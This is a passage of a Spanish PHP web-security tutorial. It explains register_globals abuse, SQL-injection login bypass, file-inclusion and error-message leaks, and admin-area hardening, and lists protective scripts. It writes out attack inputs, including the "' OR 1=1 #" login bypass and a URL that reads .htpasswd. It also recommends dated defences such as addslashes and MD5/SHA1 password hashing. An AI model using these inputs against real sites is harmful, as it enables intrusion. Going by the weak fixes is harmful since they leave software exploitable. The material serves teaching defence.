my_password) { $authorized = 1; } if ($authorized == 1) {

echo Mis cosas importantes ; } A muchos de nosotros nos puede parecer que este cdigo est funcionando perfectamente. Sin embargo, si un servidor tiene register_globals encendidos, entonces simplemente agregando? authorized=1 al URL dar a cualquier persona el acceso libre a exactamentelo que no quisieras que todo el mundo viera. ste es uno de los problemas ms comunes de la seguridad de PHP. Afortunadamente, esto tiene un par de soluciones simples y posibles. La primera, y quizs la mejor, es fijar desactivar register_globals. La segunda es asegurarse de que utilizas solamente las variables que has fijado explcitamente t mismo. En el ejemplo anterior, eso significara la adicin $authorized = 0; al principio de la escritura: $authorized = 0; if ($password == my_password) { $authorized = 1; } if ($authorized == 1) { echo Lots of important stuff.; }

Mensajes de error Cuidado con SQL Una de las ventajas ms grandes de PHP es la facilidad con la cual puede comunicarse con las bases de datos, lo ms normal con MySQL . Mucha gente hace el uso excesivo de esto, y muchos grandes sitios, confa en las bases de datos para funcionar. Sin embargo, con esa ventaja hay problemas suficientemente grandes en la seguridad a los que tendras que hacer frente. Afortunadamente, hay un montn de soluciones. El peligro ms comn de seguridad al que debes de hacer frente es cuando un usuario utiliza un fallo para poder atacar directamente al servidor de bases de datos con sentencias SQL. Utilicemos un ejemplo comn. Muchos sistemas utilizan un codigo muy parecido a este para comprobar el usuario y la contrasea pudiendose hacer todas las combinaciones

vlidas del usuario y de su contrasea, por ejemplo para controlar el acceso a un rea de administracin: $check = mysql_query(SELECT Username, Password, UserLevel FROM Users WHERE Username = .$_POST['username']. and Password = .$_POST['password'].); Te parece familiar? . Y parece que no podra hacer mucho dao. Pero digamos por un momento que introduzco el siguiente usuario en el formulario: O 1=1 # La pregunta que va a ser ejecutada sera esta: SELECT Username, Password FROM Users WHERE Username = OR 1=1 # and Password = La almohadilla (#) le dice aMySQL que todo que le sigue es un comentario y que no debe de hacerle caso. Ejecutar SQL hasta ese punto. Despus 1 es igual a 1, SQL devolver todos los usuarios y contraseas de la base de datos. Y como la primera combinacin del usuario y de contrasea en la mayora de las bases de datos es la del administrador, la persona que incorpor simplemente algunos smbolos en un formulario ahora entra como administrador de la Web , con los mismos privilegios que tendra si supiera realmente el usuario y la contrasea. Con una poca de creatividad, este agujero de seguridad se puede explotar an ms lejos, permitiendo que un usuario cree su propia cuenta, lea nmeros de las tarjetas de crdito o simplemente vaci la base de datos. Afortunadamente, este tipo de vulnerabilidad es bastante fcil de solucionar. Comprobando si hay algncarcter raro cuando el usuario introduce los datos, y quitndolos o neutralizando, podemos evitar que cualquier persona utilice su propio cdigo del SQL en nuestra base de datos. La funcin que sigue sera la adecuada: functionmake_safe($variable) { $variable = addslashes(trim($variable)); return $variable; } Ahora debemos modificar nuestra consulta. En vez de usar variables _POST como en la consulta de arriba, ahora utilizamos todos los datos del usuario con la funcin make_safe, dando por resultado el cdigo siguiente: $username = make_safe($_POST['username']);

$password = make_safe($_POST['password']); $check = mysql_query(SELECT Username, Password, UserLevel FROM Users WHERE Username = .$username. and Password = .$password.); Ahora, si un usuario incorpor los datos anteriormente citados, la consulta ser la siguiente, que es totalmente inofensiva. La consulta siguiente seleccionar de una base de datos los registros donde el usuario es igual a \ O o 1=1 #. SELECT Username, Password, UserLevel FROM Users WHERE Username = \ OR 1=1 # and Password = Ahora, a menos que tengas un usuario con un nombre muy inusual y una contrasea en blanco, tu malvolo atacante no podr hacer ningn dao en tu sitio Web. Es importante comprobar todos los datos pasados a tu base de datos. Las cabeceras de HTTP enviados por elusuario pueden ser falsificadas. Su direccin de remitente tambin puede ser falsificada. No confes en los datos enviados por el usuario, y t y tu sitio estaris a salvo Un desarrollador los necesita para detectar bugs. Un hacker puede utilizarlos para descubrir todas las clases de informacin sobre un sitio, desde la estructura del directorio del servidor a la informacin de la conexin de la base de datos.En PHP para evitar esto puedes utilizar .htaccess o php.ini, fijando error_reporting a 0.

Manipulacin de archivos Algunos sitios tienen URLs parecidas a esto: index.php?page=contactus.html El archivo index.php incluye simplemente el archivo de contactus.html, y el sitio parece funcionar. Sin embargo, el usuario puede cambiar muy fcilmente el pedacito de contactus.html por cualquier cosa que le apetezca. Por ejemplo, si ests utilizando el mod_auth de Apache para proteger archivos y para guardar tu contrasea en el archivo llamado .htpasswd (el nombre convencional), si un usuario quisiera visitar esa URL, la respuesta hara salir el nombre de usuario y contrasea: index.php?page=.htpasswd Cambiando la URL, en algunos sistemas, para referirse a un archivo u otro en el servidor, podran incluso funcionar PHP que han escrito en tu sitio. Asustado? Debes estarlo. Afortunadamente, otra vez, esto es razonablemente fcil de solucionar. Primero, cercirate de haber fijado correctamente el open_basedir en tu archivo de php.ini, y fijar allow_url_fopen a OFF. Eso prevendr la mayor parte de estas clases de ataques

previniendo la inclusin de archivos alejados y de ficheros del sistema. Despus puedes comprobar el archivo solicitado contra una lista de archivos vlidos. Si limitas los archivos que se pueden alcanzar usando esta salida. Previsibilidad Imaginmonos por un segundo que tu sitio ha atrado la atencin de una persona malvola. Esta mala persona desea entrar dentro de tu rea de administracin, y cambia todas tus descripciones de los productos a este producto apesta. Aventurara que su primer paso ser ir a http://www.tusitio.com/admin/ como primera opcin. La colocacin de tus archivos y carpetas lugares previsibles hace la vida de los hackers un poquito ms fcil. Con esto en mente, cerciorarte de que nombres tus archivos y carpetas delicados estn en lugares no muy previsibles. Poner tu rea de administracin en http://www.tusitio.com/jsfh8sfsifuhsi8392/ pudo hacerlo ms duro al menos al mecanografiarlo, pero agrega una capa adicional de seguridad a tu sitio. Escoger algo fcil de memorizar por supuesto si necesitas una direccin que puedes recordar rpidamente, pero no escoger el admin o administracin (o tu nombre de usuario o contrasea).Por lo tanto mi consejo es escoge algo inusual. Igual se aplica a los nombres de usuario y a las contraseas. Si tienes un rea de administracin, no utilices admin como nombre de usuario. Escoge algo ms complicado de averiguar, si pudiera ser ambas con letras y nmeros debido a que muchos hackers utilizan el llamado ataque del diccionario, intentando cada palabra de un diccionario como contrasea hasta que encuentran un login que funcione ,la adicin de un par de dgitos al final de una contrasea hace este tipo de ataque intil. Es tambin sabio cambiar tu contrasea bastante regularmente (cada mes o dos) y si es posible obligar a tus usuario a hacerlo de igual manera. Finalmente, cerciorarte de que tus mensajes de error no den pistas. Si tu rea de administracin da un mensaje de error que dice el nombre de usuario desconocido cuando se introduce mal un nombre de usuario y contrasea incorrecta cuando se introduce la contrasea incorrecta, un usuario malvolo sabr cundo ha introducido un nombre de usuario o una contrasea incorrecta. Usar un mensaje de error genrico al fallo de conexin para ambos registros para que un usuario malvolo no tenga ni idea si es el nombre o la contrasea lo que ha introducido mal.

5 Seguridades para aplicaciones en php

Al desarrollar una aplicacin web en php tenemos que tener en cuenta algunas seguridades, a continuacin enlisto 5 de ellas: 1. Prevenir el SQL injection: El sqlinjection es el nombre que se le da una forma de infiltrarse en las sentencias SQL que utilizamos en los formularios de login. Le damos la libertad a los visitantes que impongan partes de la sentencia sin que nos demos cuenta. Para solucionar este problema deberamos utilizar la sentencia mysql_real_escape_string Llevar un registro intento de ingresos: Es necesario llevar una tabla con los intento de login y a la vez poner un lmite de intentos, ya que pueden haber programas que intentan hacer login probando varias clave(bruteforce). Limitando el nmero de intentos por cierto tiempo podemos prevenir estos ataques. Encriptar los datos: Es muy recomendable encriptar los datos. En php podemos usar el MD5 o el SHA1 CAPTCHA: el uso de captcha es siempre importante en el momento que tengamos que enviar los datos de un formulario. Sin el uso de captcha, la base de datos se podra llenar de datos basura que a la larga pueden arruinar la finalidad de la pgina web. Validacin adecuada: La validacin adecuada de los formularios es siempre importante ya que si no se validan los campos se podra filtrar informacin no deseada. Tambin podra ser utilizado como un medio para hacer spam. As que tenemos que tener cuidado con la validacin.

2.

3. 4.

5.

Programas desarrollados para seguridades en PHP

Existen en la actualidad cientos de desarrolladores que aportan de una u otra manera para mejorar aspectos de PHP en este caso la seguridad los siguientes ejemplos son lneas de cdigo que comparten algunas personas para este tema:

Scripts PHP - Cdigos PHP - Seguridad

Nombre: MultiuserPasswordProtection Descripcin: Script que protege una rea especfica de tu web mediante usuario y contrasea. Soporta varios usuarios y log de accesos. Autor: DL Idioma: Ingls

-------------------------------------------------------------------------------------------------------Nombre: phpGuardIt Descripcin: phpGuardIt es una pequea herramienta que puedes usar para proteger tu web. Viene con un completo hostnamebanning, scaneador de puertos, y sistema de usuarios. Adems trae un panel de administracin. Completo apoyo con su CSS propio y metodo de guardado con MySQL seguro. Autor: Jonathan Anders Idioma: Ingls -------------------------------------------------------------------------------------------------------Nombre: HumanCheck Descripcin: Este script PHP ensea un cdigo secreto digital sobre una imagen. Si el visitante es humano, puede reconocer el texto y escribirlo (como medida de segurdad). Si no puede, se supone que es un script malicioso y se le deniega el acceso. Autor: Horobey Idioma: Ingls -------------------------------------------------------------------------------------------------------Nombre: PHP Pass Descripcin: Script ideal para proteger ciertas pginas con contrasea. Autor: Rover Idioma: Ingls -------------------------------------------------------------------------------------------------------Nombre: Ice Admin Descripcin: Script que te permite proteger tu propia rea de administracin en cuestin de pocos minutos. Autor: Ice-Host.net Idioma: Espaol -------------------------------------------------------------------------------------------------------Nombre: IP Recorder Descripcin: Registra todos los accesos a tu pgina y guarda la ip y la fecha de cada visita. Tiene un panel de control donde consultar los logs y da la posibilidad de banearIP's. Autor: Dynamic-IP Idioma: Ingls -------------------------------------------------------------------------------------------------------Nombre: BeginnerPassword Script Descripcin: Sencillo script para proteger tus scripts en PHP. Simplemente inserta el cdigo arriba del script que quieres proteger.

Autor: Saud Idioma: Espaol -------------------------------------------------------------------------------------------------------Nombre: htaccesser Descripcin: Generador de archivos de configuracin de apache (.htaccess). Autor: Chris Todd Idioma: Ingls -------------------------------------------------------------------------------------------------------Nombre: Link Mask Descripcin: Con este script protegers tus enlaces de los "Leechers". Evitars que se enlace el cdigo de tu pgina desde otras webs. Autor: ShadiAli Idioma: Ingls -------------------------------------------------------------------------------------------------------Nombre: AtomicPassword Descripcin: Generador de contraseas que puede utilizarse para mltiples propsitos. Autor: AtomicOxide Idioma: Espaol -------------------------------------------------------------------------------------------------------Nombre: phpGAC Descripcin: Un ACL es una herramienta, integrada dentro de otra, que permite controlar el acceso de los distintos usuarios a los objetos de los que se compone la aplicacin: archivos, carpetas, funcionalidades, informacin... Autor: phpgacl.sourceforge.net Idioma: Espaol -------------------------------------------------------------------------------------------------------Nombre: DsLogin en PHP Descripcin: Script simple que permite protegerl el acceso a una paginaoweb o zona mediante mediantepassword. Autor: Dacio Idioma: Espaol -------------------------------------------------------------------------------------------------------Nombre: Tuneylogin manager en PHP Descripcin: TuneyLogin Manager es un script para la gestin de su propio portal con un sitema de login propio. El script gestin de modo automatico y con un panel de adminstracin que utiliza mySQL.

Autor: Tune Your Web Idioma: Espaol -------------------------------------------------------------------------------------------------------Nombre: SME Protect Descripcin: Pequeo script que nos ayuda a protejernos de Spammers y otros tipos de abusos Autor: Script Me Idioma: Espaol -------------------------------------------------------------------------------------------------------Nombre: Ua Block Descripcin: Muy til para evitar correos no deseados, programas que copian pginas web, etc. Cuando un agente intenta acceder a una pgina protegida, le devolver un mensaje de error personalizado. Autor:

Todos los scripts mencionados anteriormente estn disponibles en: http://www.webtaller.com/tallerscripts/scripts/17/

RECOMENDACIONES En definitiva, mi consejo es que debes ser totalmente paranoico Si asumes que tu sitio nunca ser atacado, o que nunca tendr que hacer frente a problemas de este tipo despus cuando estos lleguen estars realmente en apuros. Si, por otra parte, asumes que cada visitante a tu sitio hara lo que fuera por romper tu sistema y estas permanentemente en guerra, te ayudars a mantener tu sitio seguro, y estars preparado en caso de que vayan mal las cosas

LINKCOGRAFA
http://www.webtaller.com/tallerscripts/scripts/17/ http://sedici.unlp.edu.ar/ARG-UNLP-TDG-0000000520/10800.pdf

http://php.astalaweb.net/Seguridad/1_Seguridad.asp
http://groups.google.com/group/php---programacion/browse_thread/thread/b553fe55b52177ce

http://www.dirphp.com/